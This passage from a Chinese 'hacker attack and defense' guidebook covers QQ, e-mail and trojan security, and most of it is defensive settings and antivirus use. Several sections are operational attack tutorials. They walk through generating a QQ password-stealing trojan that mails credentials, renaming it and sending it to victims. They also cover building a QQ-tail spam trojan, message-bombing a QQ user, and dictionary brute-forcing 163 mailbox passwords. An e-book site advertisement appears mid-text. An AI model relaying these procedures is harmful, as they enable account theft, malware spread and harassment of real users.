修改网页浏览器的默认主页地址是恶意网页常用的一招，即使在“Internet选项”对话框中将主页地址进行修改也无济于事。在日常生活中可以禁止他人更改浏览器主页，以避免不必要的麻烦，具体操作方法如下。

01 　在系统桌面单击“开始”按钮，弹出“开始”菜单，在搜索栏中输入“gpedit.msc”命令，然后按下“Enter”键。

02 　在弹出的“本地组策略编辑器”窗口中依次展开“用户配置\管理模板\Windows组件\Internet Explorer”目录，在右侧窗口中双击“禁止更改主页设置”策略项。

03 　在弹出的“禁用更改主页设置属性”对话框中选择“已启用”单选项，在“主页”文本框中输入默认主页（本例设为www.baidu.com），然后单击“确定”按钮保存设置即可。

例10　禁止IE组件的自动安装

通过修改软件设置可以禁止IE在访问某些网站时自动弹出下载某个组件的消息框，具体方法如下。

01 　打开注册表编辑器，依次展开到如下子键：［HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions］。

02 　在右边窗格中新建“DWORD值”，并命名为“NoJITSetup”，将其值修改为“1”（禁用）。

7.4　QQ攻防实战

目前，腾讯QQ是最常用的网络聊天软件。但也是黑客的主要攻击目标，例如盗取QQ号码、骗取用户私密信息等。如今，如何保证QQ聊天的安全成了重中之重。本节将通过QQ攻防实战演练，巩固大家对QQ攻防的认识。

例1　做好QQ的防范策略

通常情况下，用户的QQ都伴随了自己很久，在其中有着很多重要的信息，所以保护QQ显得格外重要。在使用QQ的过程中应注意以下几点。

基础防范：就是为自己的QQ账号申请密码保护，这是找回被盗QQ的重要依据。

设置复杂的QQ密码：一个复杂的密码是非常重要的，一个8位以上的数字加大小写字母或符号的密码，对暴力破解者的耐心是一个极大的挑战。

巧妙登录QQ：登录QQ时可以在号码前加很多的0登录，这样可以躲过qqdreams等在线破解软件对QQ号的探测。

登录QQ时不保存密码：腾讯QQ登录时提供了“记住密码”功能，如果在公共场所登录时使用了该项功能，这很可能会被他人利用，进而盗取QQ密码。

删除QQ号码记录文件：通常情况下，使用QQ后，系统都会将其操作记录在“C:\Users\Administrator\Documents\Tencent Files”目录下，此项很容易被黑客使用软件破解，获取有用信息，所以，在下线后，应将这个文件删除。

删除特定文件：在QQ所在的文件夹下，删除子文件夹中的OICQ2000.cfg文件，这样下次启动QQ将只能使用“注册向导登录”，这将使“隐身穿墙术”失效。

隐藏个人IP：在使用QQ代理，不轻易和对方进行“二人世界”聊天以隐藏自己的真实IP，避免在线破解。

例2　使用阿拉QQ密码潜伏者

阿拉QQ密码潜伏者是一款功能强大而又操作简单的QQ盗号软件，使用它可以制作一个木马程序，将木马程序捆绑到极具诱惑的软件上，然后将捆绑木马的软件上传的网上或直接发送给其他人，只要他人双击该软件，木马即可自动启动，就可以劫取对方的QQ账号和密码，并将劫取的信息发送到个人邮箱中，使用阿拉QQ密码潜伏者盗取QQ号码和密码的具体操作方法如下。

01 　进入个人邮箱（这里以QQ邮箱为例进行介绍），单击邮箱首页的“设置”链接。

02 　在打开的页面中切换到“反垃圾”选项卡，然后在“白名单”栏单击“设置邮件地址白名单”链接。

03 　在打开页面中输入“test1@test.com”地址，然后单击“添加到白名单”按钮。

04 　启动阿拉QQ密码潜伏者程序，在“收信邮箱地址”文本框中输入前面设置的QQ邮箱地址，然后单击“测试邮箱”按钮。

05 　如果邮箱可用，程序会发送一份测试成功的邮件到指定邮箱。打开邮箱，即可看到测试成功的邮件信息。

06 　返回“阿拉QQ密码潜伏者”软件操作界面，单击“生成木马”按钮。程序会生成一个木马文件，在打开的对话框中可看到木马文件的存储地址。

07 　打开木马文件储存目录即可看到木马文件，用户可根据需要将其重命名、更换图标等，然后将其发送给网络其他用户，一旦他人启动这个木马程序，软件就会将账号信息发送到指定的邮箱中。

例3　使用QQ尾巴生成器

QQ尾巴是一种攻击QQ软件的木马程序，中毒之后，QQ会无故向好友发送垃圾消息或木马网址，当好友点击进入这些木马网站后，便可能遭到黑客的攻击。

QQ尾巴的制作非常简单，目前很多黑客软件都提供了制作QQ尾巴的功能，这里以“战争贩子QQ尾巴生成器2010”为例，介绍QQ尾巴的制作方法，具体操作步骤如下。

01 　下载并解压“战争贩子QQ尾巴生成器2010”软件，启动其主程序，在“在这里填写QQ尾巴内容”文本框中设置尾巴的内容，然后单击左下角的广告。

02 　单击“生成尾巴”按钮，然后程序会自动生成一个QQ尾巴文件，默认为“muma.exe”。

03 　打开软件所在的文件夹即可看到生成的QQ尾巴文件“muma.exe”，该文件在他人电脑中启动时即可产生前面设置的QQ尾巴了。

例4　QQ强制聊天

在网上，很多人为了避免骚扰，都会将QQ设置为验证后才能加好友或者是拒绝添加好友，如果你很想和某个QQ聊天，却无法添加好友，就可以使用QQ强制聊天的方法。

强制与目标QQ聊天的方法很简单，先登录QQ，再在浏览器地址栏中输入“http://wpa.qq.com/msgrd？V=1＆Uin=20222xxx5（你要强制聊天的QQ号）＆Site=＆Menu=yes”，然后按下回车键，此时就会建立一个临时对话框，就可以与对方进行聊天了。

除了上述办法，还可以在浏览器地址栏中输入“tencent：//message/？uin=你要强制聊天的QQ号码＆Sinte=＆menu=yes”，也可以建立临时聊天对话框。

例5　QQ炸弹攻防剖析

在网上难免遇到和自己意识形态有所差异的人，用QQ炸弹让其知道我们的厉害，是一种直截了当的解决办法。不过笔者不建议采用非法手段攻击他人，最好还是以理服人。

01 　下载并打开“萝卜QQ轰炸机”，用户可以在打开的窗口中输入要重复的文字信息，单击“添加内容”按钮，就把这句话添加到“轰炸内容”文本框中了。用户可根据需要添加多条内容。

02 　选择轰炸目标，本例选择“轰炸好友”单选项，并输入轰炸的次数和频率，单击“抓句柄”按钮，在弹出对话框中拖动放大镜“ ”设置句柄。

03 　在返回的对话框中单击“设置OK”按钮，然后单击开始轰炸即可。

例6　加密QQ聊天记录

对于在家或固定场所上网的用户来说，QQ的“消息保护模式”是一个不错的选择。选择该方式登录后，即使别人得到了你的聊天记录文件，没有密码也无可奈何。

01 　在QQ页面单击左下角的“主菜单”按钮，在弹出的菜单中依次单击“系统设置”→“安全设置”命令。

02 　在弹出的“系统设置”对话框中单击“消息记录”选项，在右侧勾选“启用消息记录加密”复选框，然后单击“确定”按钮即可。

例7　设置代理隐藏本地IP地址

在登录QQ的时候，如果直接使用默认设置登录，黑客可以通过查询本地IP地址，进而对电脑进行攻击。对于一些办公场所或个人信息非常重要的人来说，为了避免这种情况的发生，可以设置代理隐藏本地IP地址。

01 　在QQ登录窗口单击“设置”按钮，在弹出的对话框中单击“类型”下拉按钮。

02 　在弹出的对话框中选择需要设置代理的类型，然后根据实际情况完成其他内容，单击“确定”按钮即可。

例8　文件接收安全设置

利用QQ接收文件时，如果文件中包含病毒或木马程序，可能会导致电脑受到严重的危害，因此，有必要对文件的接收进行安全设置，具体操步骤如下。

01 　在QQ窗口中单击左下角的“主菜单”按钮，在弹出的菜单中依次单击“系统设置\安全和隐私”命令。

02 　在弹出的“系统设置”对话框中，勾选“安全”页面中的“安全级-中”单选项，然后单击“确定”按钮完成设置。

例9　如何避免键盘记录器记录QQ密码

在腾讯QQ的登录界面提供了软键盘输入功能，我们在实际登录时，可以使用鼠标先单击登录界面中的键盘按钮，然后在打开的软键盘中使用鼠标输入密码信息。

小提示

在输入密码时，故意输错两次，也可以增加黑客通过查看键盘记录破解QQ密码的难度。

例10　通过密码保护找回被盗的QQ号码

在忘记QQ密码或密码被盗后，可以使用密码保护找回被盗的QQ。具体的操作如下。

01 　登录QQ安全中心（网站地址：http://aq.qq.com/cn/fndpsw/fndpsw_index），切换到“找回密码”选项卡，根据提示填写需要找回的QQ账号信息，然后单击“下一步”按钮。

02 　在打开的页面中选择密保方式，本例单击“验证密保找回密码”按钮。

03 　在弹出的“找回密码”对话框中输入设置的问题答案，然后单击“确定”按钮。

04 　在打开的页面中根据需要重新设置QQ密码即可。

小提示

对于细心的用户来说，在QQ密码被盗后可通过自己的密保资料找回号码。而对于忘记密保信息的用户，如果记得自己的账号注册信息或QQ好友，可以通过申诉的方式来找回密码。

7.5　E-mail攻防

随着E-mail（电子邮箱）的广泛应用，黑客们的注意力也转移到了电子邮箱上，他们通过各种手段来达到自己的目的，本节将介绍E-mail攻防的相关知识。

例1　常见电子邮箱攻击手段

黑客攻击电子邮箱的手段很多，最常见的就是使用邮件炸弹和破解电子邮箱的账号密码。

1．邮件炸弹

邮件炸弹攻击是各种攻击中最常见的攻击手段，它造成危害的原理是这样的：由于接收邮件信息需要系统来处理，而且邮件的保存也需要一定的空间。所以，因邮件炸弹而导致的巨量邮件会大大加剧网络连接负担、消耗大量的存储空间，甚至溢出文件系统，这将会给Unix、Windows等许多操作系统形成威胁。

除了操作系统有崩溃的危险之外，由于大量垃圾邮件集中涌来，将会占用大量的处理器时间与带宽，造成正常用户的访问速度急剧下降。而对于个人的免费邮箱来说，由于其邮箱容量是有限制的，邮件容量一旦超过限定容量（即邮箱被“撑爆”），系统就会拒绝服务。

2．盗取邮箱密码

盗取邮箱账号和密码也是黑客常用的攻击手段，他们通过盗取他人邮箱，并使用这些邮箱发送诈骗信息。

盗取邮箱密码最常见的方法就是在远程主机上安装键盘记录工具，这些工具能够记录机主一天键入的字符，当然这个字符量可能很大，也可能很小，依主人使用情况而定，键入的字符会形成文本文件，而且密码会和其他的字符有很大不同，所以，黑客可以轻而易举的从这个文件中判断哪一段是密码。现在键盘记录工具很多，例如键盘记录者、全能鼠标键盘记录器等。

例2　使用流光盗取邮箱密码

在前面的学习中介绍过流光扫描器，这里主要介绍使用流光扫描器探测账号和密码的方法。

1．探测邮箱账号和密码

使用流光扫描器可以对邮箱账号和密码进行探测，具体操作步骤如下。

01 　下载并安装流光软件，启动其主程序，在其主界面勾选并右键单击“POP3”选项，然后在弹出的菜单中依次单击“编辑”→“添加”菜单命令。

02 　在打开的对话框中设置POP 3主机，本例输入“POP3.163.com”，对163邮箱进行探测，然后单击“确定”按钮，可将该主机添加到流光程序中。

03 　接下来需要添加破解账号所需的用户列表文件，在添加用户列表文件前可先对其进行编辑。在流光软件的安装目录中找到要进行编辑的扩展名为“.dic”的用户列表文件，然后单击鼠标右键，在打开的菜单中单击“使用记事本打开”命令。

04 　在以记事本打开的用户列表文件中，用户可以根据需要添加或删除相应的内容，设置完成后依次单击“文件”→“保存”菜单命令保存文件。

05 　返回主界面，右键单击添加的POP3主机，然后在弹出的菜单中依次单击“编辑”→“从列表中添加”菜单名。

06 　在弹出的对话框中选中前面修改后的用户列表文件，然后单击“打开”按钮。程序会自动完成添加用户列表，添加结束后，在流光操作界面中可看到添加的文件。

07 　在主界面中依次单击“探测”→“简单模式探测”菜单命令，开始探测邮箱账户及密码，探测结束后会弹出探测结果。如果用户列表文件中包含的数据过大，探测过程会非常久。

2．暴力破解邮箱密码

如果知道了用户的电子邮箱账号，就可以使用流光软件对其密码进行暴力破解，具体操作如下。

01 　启动流光软件，在主界面中按照前面介绍的方法添加一个POP3主机，如“pop3.163.com”，右键单击该主机，在弹出的菜单中依次单击“编辑”→“添加”菜单命令。

02 　在弹出的对话框中输入需要添加的账户名称，单击“确定”按钮，在返回的程序主界面中即可看到添加的账户。

03 　对于一些简单的邮箱密码，可以使用流光软件提供的解码字典进行破解，在流光软件界面中右键单击“解码字典或方案”选项，然后在弹出的菜单中依次单击“编辑”→“添加”菜单命令。

04 　在打开的对话框中找到并选中“password.Dic”字典文件，然后单击“打开”按钮。

05 　在打开的对话框中即可看到添加的字典文件。

06 　解码字典添加完成后在流光软件操作界面依次单击“探测”→“标准模式探测”菜单命令。

07 　流光软件开始破解指定邮箱账号的密码，此过程根据密码复杂程度的不同所需时间也不尽相同，用户需耐心等待，破解完成后会弹出对话框显示破解结果。

例3　禁止IE记录登录信息

在默认情况下，在浏览器中登录账号（例如论坛账号、邮箱账号以及网页游戏账号等）时，会弹出对话框询问是否保存密码，设置保存后，可以在下一次登录时不必再次输入，但是这也给他人盗取自己的账号带来了方便。

当黑客控制本机后，在浏览器中输入对应的邮箱账号时，浏览器会自动输入密码，这无疑是很不安全的。为避免上述情况的发生，我们可以通过设置来禁止IE记录登录账号和密码，具体操作方法如下。

01 　打开IE浏览器，按下“Alt”键，在弹出的菜单栏中依次单击“工具”→“Internet选项”菜单命令。

02 　在打开的对话框中切换到“内容”选项卡，在“自动完成”下方单击“设置”按钮。

03 　在打开的对话框中取消所有自动完成的选项，然后单击“删除自动完成历史记录”按钮。

04 　在打开的对话框中勾选需要删除的自动完成的记录，然后单击“删除”按钮，系统会自动完成记录的删除，然后单击“确定”按钮，保存设置即可。

例4　过滤垃圾邮件

经常使用电子邮件的用户，都可能会遇到垃圾邮件困扰。我们可以通过电子邮箱提供的功能来有效过滤垃圾邮件，这里以网易163邮箱为例进行介绍。

01 　登录网易163免费邮箱。在网易163网络免费邮箱首页单击“设置”链接。

02 　在弹出的邮箱“设置”设置页面单击“反垃圾设置”栏中的“白名单设置”链接。

03 　在弹出的对话框中输入信任邮箱的地址。单击“添加到白名单”按钮。按照上述方法设置完白名单后单击“设置”链接。

04 　返回到邮箱“设置”页面，单击“反垃圾级别”链接。根据自己的需要选择不同的反垃圾的级别。设置完成后单击“确定”按钮即可。

例5　设置邮箱密码保护

为了更安全放心的使用邮箱，我们可以通过设置邮箱密码保护来达到目的，下面以新浪邮箱为例进行介绍。

01 　登录邮箱，在邮箱首页单击“邮箱设置”链接。

02 　在打开的界面中切换到“账户”选项卡界面。

03 　在“账户资料”栏中单击对应的链接进行不同形式的密码保护措施，本例单击“设置安全”邮箱链接。

04 　在打开的页面中输入当前邮箱账户密码然后单击“提交”按钮继续操作。

小提示

设置安全邮箱就是将该邮箱与另外一个邮箱绑定，这样，在忘记密码时就可以使用绑定的邮箱来找回密码。

05 　在接着打开的页面中输入安全邮箱账号，然后单击“提交”按钮继续操作。

06 　设置成功后会在打开的页面中提示安全邮箱已经生效，这时单击“关闭”按钮关闭窗口即可。

例6　找回邮箱密码

当用户的邮箱密码忘记或丢失后，可以使用绑定的安全邮件进行找回，具体操作步骤如下。

01 　在新浪邮箱登录界面单击“找回密码”链接。

02 　在打开的界面中输入需要找回的邮箱账号，然后输入对应的验证码并单击“提交”按钮。

03 　在接着打开的页面中选择找回邮箱密码的方式，本例单击“安全邮箱”链接。

04 　在打开的页面中输入安全邮箱的账户信息，然后输入验证码并单击“提交”按钮。

05 　在打开的页面中会提示系统已经向安全邮箱发送密码找回信息，这里单击“关闭本页”按钮，关闭当前窗口。

06 　登录前面设置的安全邮箱，打开密码找回信息的邮件，根据提示单击对应的链接。

07 　在接着打开的页面中根据提示重新设置邮箱的密码，然后单击“提交”按钮。

08 　密码重置完成后会在打开的页面中提示修改成功，此时单击“关闭本页”按钮，关闭窗口即可。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

第8章　木马攻防

8.1　预防木马入侵

木马主要被黑客用于窃取密码、偷窥重要信息、控制系统操作以及控制目标计算机等。这里介绍下木马的常用入侵手段和伪装手段。从而帮助读者了解如何预防木马入侵。

例1　了解木马常用的入侵手段

木马能不能完全发挥它的功能和作用，关键一步就是能否成功地进入到目标主机。木马的入侵手段多种多样。下面我们就来了解一下木马都有哪些入侵手段。

利用系统漏洞传播：指木马程序通过系统漏洞进驻电脑系统，从而对用户个人信息及财产安全造成威胁。如微软著名的IIS服务器溢出漏洞，通过一个IISHACK攻击程序即可把IIS服务器崩溃，并且同时在受控服务器执行木马程序。

电子邮件传播：攻击者将木马伪装成邮件附件发送出去，收信方只要查看邮件附件，就会运行木马。

网页传播：利用Java Applet编写出一个HTML网页，当我们浏览该页面时，JavaApplet会在后台将木马程序下载到计算机缓存中，然后修改注册表，运行木马程序。

利用蠕虫病毒传播木马：这种方法是指将木马和蠕虫病毒结合起来，利用蠕虫病毒的传染性和自我复制能力进行传播。

远程传播：黑客通过破解密码和建立IPC$远程连接后登陆到目标主机，将木马服务端程序拷贝到目标主机的系统文件夹中，然后通过远程操作让木马程序在某一个时间运行。

例2　木马是如何伪装的

为了便于隐藏和入侵，木马程序的编写者常常会通过一些特殊手段来对木马进行伪装。下面介绍一些常见的木马伪装手段。

木马更名：为了增强木马的欺骗性，木马的编写者通常会给木马取一个极具迷惑性的名称或者允许控制端用户自由设定安装后的木马文件名，例如，将木马的名称改为和系统文件名相似的名称，这就使得用户很难判断所感染的木马类型。

修改图标：木马经常故意伪装成用户计算机上常用图标的形式，等待用户因为疏忽而将其认为是应用程序图标而双击启动。

捆绑文件：该手段是将木马捆绑到一个安装程序中，当用户双击启动安装程序时，木马就会随之启动，并运行于计算机系统之中。

扩展名欺骗：这是黑客惯用的一种手法，其主要是将木马伪装成图片、文本、Word文档等文件，这一点和木马更名的性质类似。

例3　了解木马的启动方式

木马之所以能够在神不知鬼不觉的情况下运行，除了借助狡猾的伪装手段外，其启动方式更是悄无声息。下面介绍木马常用的几种启动方式。

通过注册表启动：是最常用的木马启动方式。通过将木马程序添加到系统启动项中，使其跟随系统启动。实现简单，但容易被发现。

通过文件关联启动：是指木马程序会将自己与txt文件或exe文件关联。当用户打开文本文件或运行可执行程序时，木马也就启动了。

寄生于特定程序：木马编写者将木马和正常程序捆绑，正常程序在运行时，木马程序先获得控制权或另开一个线程以监视用户操作、截取密码等。

将特定文件改名：常见于针对QQ的木马，例如。将QQ程序文件QQ2013.exe改为QQ2013.ico.exe（系统默认不显示扩展名，因此它会显示为QQ2013.ico，伪装为QQ图标），然后再将木马程序改为QQ2013.exe，这样当用户运行QQ时，实际是启动了QQ木马，再由QQ木马去启动真正的QQ，从而获取QQ账号与密码。

例4　预防木马的具体措施

良好的使用习惯，能够有效地防范木马。下面介绍一些预防木马的具体措施。

让系统始终显示文件的扩展名，一些扩展名为vbs、shs、pif的文件多为木马的特征文件，如果看到这些可疑的文件扩展名时就应该引起注意。

很多木马都是通过系统漏洞来进行攻击的，及时发现这些漏洞并在第一时间内安装补丁，可以有效地防范木马。

在电脑中安装木马查杀工具，并经常对软件进行升级。

上网时，开启杀毒软件的上网安全保护功能，保护上网安全。

不要浏览不良网站，这类网站上通常带有木马程序。

很多木马通过捆绑在其他软件中来实现传播的，一旦运行了这个软件就会被感染。在下载软件时，应在天空、华军等知名站点下载。在软件安装前，还需要用反病毒软件或木马专杀工具进行检查，确定无毒后再使用。

不随便打开来路不明的邮件及其附件。建议先将附件保存到本地磁盘，用木马查杀工具扫描，确认无木马后再打开。

在电脑上使用U盘等移动存储设备，先查杀木马。

对重要数据进行备份和加密，特别是个人隐私和账户信息等。

例5　电脑中木马后的常见症状

事实上，木马属于一种特殊的病毒程序，它会影响到系统的正常运行，所以当电脑中木马后，一般都会有一些异常表现。

网络连接异常活跃：在没有使用网络资源时，网卡灯不停闪烁，这是因为某些软件在用户不知情的情况下连接网络。这类软件有可能是木马程序。

硬盘读写不正常：在没有读写硬盘的情况下，硬盘灯不停地闪烁，这是因为某些软件正在反复对硬盘进行读写。该情况反常，可能电脑中了木马。

聊天工具异常登录提醒：在登录QQ、MSN等聊天工具时，会显示上一次的登录地点。如果发现登录地点异常，可能是QQ账户信息泄露造成的。

网络游戏登录不正常：登录网络游戏时发现装备丢失或同上一次下线的位置不一样，甚至使用正确的账号和密码无法登录，如果用户没有向他人透露相关信息，则很可能是计算机中存在木马程序。

突然失去电脑的控制权：在使用电脑的过程中，突然发现鼠标指针在未操作的情况下自己移动，并执行相关按钮进行操作。此时可能是黑客通过远程木马在远程控制用户的电脑。

例6　设置注册表权限防木马启动

很大一部分木马都是通过修改注册表启动项来实现其开机运行的。所以，通过限制在注册表启动项添加新键值，可以有效地防止木马启动。

01 　打开注册表编辑器。依次展开到如下注册表子键：［HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run］。

02 　分别右键单击这两个“Run”项，在弹出的快捷菜单中选择“权限”命令，打开“Run的权限”对话框。

03 　将“Everyone”用户组的权限仅设置为“读取”，然后单击“确定”按钮保存设置即可。

例7　禁止硬盘AutoRun功能预防木马运行

有些木马程序利用硬盘AutoRun功能来启动自己，例如，这类木马隐藏的C盘，当用户双击C盘时，这类木马就会利用硬盘AutoRun功能来自动启动自己，所以防范这类木马的方法就是禁止硬盘AutoRun功能。

01 　打开注册表编辑器。依次展开到如下子键：［HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer］。

02 　在右侧窗格中找到“NoDriveType AutoRun”项，将其键值修改为“9D,00,00,00”，即可关闭硬盘AutoRun功能。

例8　禁用屏保预防木马运行

Windows的屏幕保护程序对应的是“.scr”文件，默认情况下是保存在Windows的安装目录下。如果把后缀名为.scr文件更名为后缀名为.exe文件，则该程序仍然可以正常启动。同理，把后缀名为.exe文件更名为后缀名为.scr文件后，文件也照样可以运行。如果这种方法被木马或病毒等恶意程序所利用，后果将非常严重，防范这种攻击的方法就是禁止使用屏幕保护功能。

01 　打开注册表编辑器。依次展开到如下子键：［HKEY_CURRENT_USER\Control Panel\desk-top］。

02 　在右侧窗格中找到字符串值“ScreenSaveActive”（如果没有则新建它），将其键值修改为“0”即可禁止使用屏幕保护功能。

例9　防范反弹端口型木马

反弹端口型木马是利用用户开放的端口来进行传播的，其一般是从80端口开始（HTTP端口，大多数人都不会关闭这个端口的），然后开始寻找其他端口一旦找到端口存在就是自动打开端口。

一般情况下，这种木马大多潜伏在启动组、Win.ini、System.ini、注册表等地方，因为这些地方可以让他们加载自启动。所以，要防范反弹端口型木马，这几个地方要特别注意。

例如：在win.ini文件中，在它的“Windows”字段中有两个启动命令：“load=”和“run=”。在一般情况下“=”后面是空白的，如果有后跟程序，比如是：run=c:\windows\hgz.exe或load=c:\windo ws\hgz.exe，那么hgz.exe这个文件就是木马。而system.ini文件中，在“Boot”字段下面有个“shell=文件名”格式的命令。正确的文件名应该是“explorer.exe”，如果不是“explorer.exe”，而是“shell=explo rer.exe程序名”，那么后面的那个程序就是“木马”程序了。

例10　使用杀毒软件对U盘进行查杀

U盘是病毒、木马等入侵电脑的途径之一，用户可以在使用U盘前对其进行查杀，以确保电脑的安全。使用金山毒霸查杀U盘的具体操作步骤如下。

01 　将U盘链接到电脑上，启动金山毒霸程序，在打开的界面中单击“自定义扫描”按钮。

02 　在打开的对话框中选择U盘盘符，然后单击“确定”按钮，软件会自动完成对指定目标的病毒查杀。

例11　开启杀毒软件的实时防护功能

电脑病毒并非是在指定的时间对某台电脑进行攻击，而是在用户触及病毒程序时，电脑才有可能受到感染。由于病毒具有很强的隐蔽性，发作时，普通用户难以察觉。

大多数杀毒软件都提供了实时防护功能，只要开启该项功能，就可以在病毒发作时自动清除或提示用户。这里以金山毒霸软件为例，介绍实时防护功能的开启方法。

01 　启动金山毒霸软件，在打开的软件主界面中，单击功能列表中的“铠甲防御”按钮。

02 　进入“铠甲防御”界面，切换到“防御开关”选项卡，在其中会显示软件提供的所有防护功能，根据需求开启指定的实时防护功能，建议全部开启。

8.2　防御与清除木马

通过前面的学习，我们已经对木马的特征、种类、入侵电脑的方式等有了一定的认识，并且可以根据它的特点来对其进行预防，但是要使木马不对我们造成侵害，只进行预防还远远不够，还需掌握其清除方法。本节将为大家介绍几种常见的木马及其清除方法。

例1　使用Windows木马清道夫清除木马

“Windows木马清道夫”是一款专门查杀木马的专业反木马信息安全软件，是全新一代的木马克星，它具有可自动查杀近10万种木马的功能，如果配合手动分析可接近100％的对未知木马进行查杀。此外，木马清道夫不仅可以查木马，还可以分析出后门程序，黑客程序等等。它专业的分析功能及完美的升级功能，使得木马变得不再可怕。

下面以扫描C盘为例，介绍使用木马清道夫查杀木马的方法，具体操作如下。

01 　启动木马清道夫程序，在弹出的操作界面单击“扫描硬盘”按钮。

02 　在弹出的菜单中单击“精确扫描硬盘”命令。

03 　在弹出的“精确扫描硬盘”对话框中选择C盘。

04 　单击“扫描”按钮，待木马扫描完成后，如果扫描出木马程序，它们会排列在“文件名”列表框中，此时单击“隔离/清除”按钮即可。

例2　使用金山卫士查杀木马

如果电脑中了木马，个人隐私及帐户密码等可能会被窃取。此时可以使用第三方木马查杀软件来进行查杀，下面以金山卫士为例进行介绍。

01 　下载并安装金山卫士的最新版本。启动金山卫士软件，然后在主界面中单击“查杀木马”按钮。

02 　在打开的界面中选择合适的查杀方式，本例选择“自定义扫描”按钮。

小提示

单击“快速扫描”按钮，可以启动快速扫描方式，该方式只会扫描系统引导区、系统内存以及系统关键目录。

03 　在弹出的对话框中展开“计算机”目录，选择要查杀木马的目标（如C:），单击“确定”按钮。

04 　金山卫士开始对指定对象进行木马扫描，此过程由程序自动完成，用户需耐心等待。

05 　扫描结束后会显示扫描结果，如果扫描到木马，单击右下角的“立即清除”按钮。

06 　开始清除木马程序，清除完成后，在弹出的对话框中会显示查杀结果，单击“确定”按钮即可。

例3　使用360安全卫士查杀流行木马

黑客常常使用木马盗取用户的各种账户及密码，如QQ、网络游戏、邮箱等，用户需要经常对电脑进行木马查杀，确保电脑中没有木马。

01 　启动360安全卫士，在“常用”主页面中切换到“查杀木马”选项卡。程序提供了3种扫描木马的方法，这里单击“快速扫描木马”按钮。

小提示

“快速扫描木马”表示扫描系统内存，启动对象关键位置，速度较快；“全盘扫描木马”表示扫描系统内存，启动对象及全部磁盘，速度较慢；“自定义扫描木马”表示由用户自己指定需要扫描的范围。

02 　开始扫描系统，并在下方显示扫描结果。扫描过程中，如果发现木马，会提示用户。

03 　扫描结束后，如果发现木马，则单击“立即处理”按钮。处理完毕后单击“好的，立即重启”按钮即可。

例4　使用木马克星查杀木马

木马克星（Iparmor）是一款专杀木马病毒的工具软件，该软件可以查杀近万种国际木马和上千种密码偷窃木马，包括传奇密码偷窃木马、QQ类寄生木马和冰河类文件关联木马等。木马克星支持内存扫描、硬盘扫描，能够自动分析可疑系统进程，就连木马服务器在本机中截获的密码通过邮件发送出去，都需要木马克星的确认。

此外，木马克星能够自动升级木马库，对于新木马类型或未知木马，具有超强的查杀能力。

启动木马克星程序后，它会自动扫描IE插件，如果发现木马程序，会弹出对话框提示是否清除，如果用户要对电脑中的其他部分进行查杀，如内存、硬盘等可以切换到相应的选项卡，然后单击“扫描”按钮进行查杀。

使用木马克星查杀电脑中的木马的方法如下。

01 　下载并安装“木马克星”软件，启动其程序，在弹出的“木马克星”工作窗口中单击“扫描硬盘”选项卡。

02 　在打开的“扫描硬盘”选项卡中勾选“清除木马”复选框，单击按钮，在弹出的浏览文件夹对话框中选择C盘下的“Program Files”文件夹，单击“确定”按钮，然后在返回的“木马克星”窗口中单击“扫描”按钮。

03 　木马克星会自动对选定目标进行木马的查杀，其扫描及清除记录会显示在“木马克星”窗口中，木马查杀完成后单击按钮，退出程序即可。

例5　使用360安全卫士清除恶意插件

很多木马会以恶意插件的形式捆绑在其他软件上，当用户进行安装时，就可能运行该插件。这类插件可能含有后门程序，从而带来实质危害。使用360安全卫士查杀恶意插件的方法如下。

01 　启动360安全卫士，在“常用”主页面中单击“清理插件”选项卡。

02 　开始扫描系统中的插件，扫描结束后，在列表中勾选要清理的插件，然后单击“立即清理”按钮。

03 　程序提示需要重启电脑，单击“确定”按钮即可。

例6　使用Spy Sweeper扫描间谍软件

间谍软件也是木马的主要载体之一。Spy Sweeper是一款在国内外都倍受推崇的五星级软件，它能使电脑免受间谍软件的侵害，进而保护个人隐私的安全。使用Spy Sweeper清除间谍软件的方法如下。

01 　启动Spy Sweeper软件，在打开的软件主界面口中单击“Options”选项按钮，打开“Options”选项界面。

02 　在“Sweep”选项卡下选择扫描方式，本例选择“Custom Sweep”（自定义扫描）选项，在下方单击“Change Settings”链接。

03 　在弹出的“Custom Sweep”对话框中设置要扫描的范围，可以是驱动器或文件夹。

04 　在左侧窗格中单击“What to Sweep”按钮，在右侧窗格中勾选要扫描的对象，然后单击“OK”按钮。

05 　返回软件主界面，单击右下角的“Sweep now”按钮，程序开始对指定对象进行扫描，需耐心等待。扫描结束后会显示扫描结果。如果发现间谍软件，勾选它，单击“Quarantine Selected”按钮即可将所选对象隔离。

例7　修改被更改的文件关联程序

当电脑中了木马后，很可能导致文件关联被修改，例如，TXT文件通常是由记事本（Notepad.exe）来打开，当感染目录后，则会被修改为用木马程序打开，因此只要你一打开文本文件，就会自动启动木马。如果发现自己的记事本文件关联程序被更改了，可以通过下面的方法进行还原。

01 　使用管理员身份登录操作系统，在系统桌面左下角单击“开始”按钮，弹出“开始”菜单，在搜索框中输入“regedit”命令并按“Enter”键，打开“注册表编辑器”窗口。

02 　在左侧窗格中依次展开“HKEY_CLASSES_ROOT\txtfile\shell\open\command”子键，在右侧窗格中将“默认”键值项的值改为“％SystemRoot％\system32\notepad.exe％1”，按“Enter”键，然后重新启动电脑即可。

木马不仅仅只会修改TXT文件的关联，有时还可能修改HTM、EXE、ZIP以及COM等文件的关联，因此要对付这类木马，应该检查HKEY_CLASSES_ROOT\文件类型\shell\open\command主键，查看其键值是否正常。下面列举几个常见程序的文件关联正确键值。

exe文件：正确的检查位置为“HKEY_CLASSES_ROOT\exefle\shell\open\command”，正确的键值为“"％1"％*”。

inf文件：正确的检查位置为“HKEY_CLASSES_ROOT\inffile\shell\open\command”，正确的键值为“％SystemRoot％\system32\notepad.exe％1”。

ini文件：正确的检查位置为“HKEY_CLASSES_ROOT\inifile\shell\open\command”，正确的键值为“％SystemRoot％\system32\notepad.exe％1”。

例8　分离带木马的文件

发现一些文件捆绑有木马之后，为了保存原文件，可以将木马与原文件进行分离。

01 　用UltraEdit的十六进制方式打开被木马绑定的程序，选中第二个“MZ”到第三个“MZ”之间的内容（即第二个文件），将该部分内容复制。

02 　打开记事本，粘贴一下，然后保存为EXE文件。

03 　选中第三个“MZ”至文件末尾之间的内容（即第三个文件），同样复制，打开记事本后粘贴一下，然后保存为EXE文件。

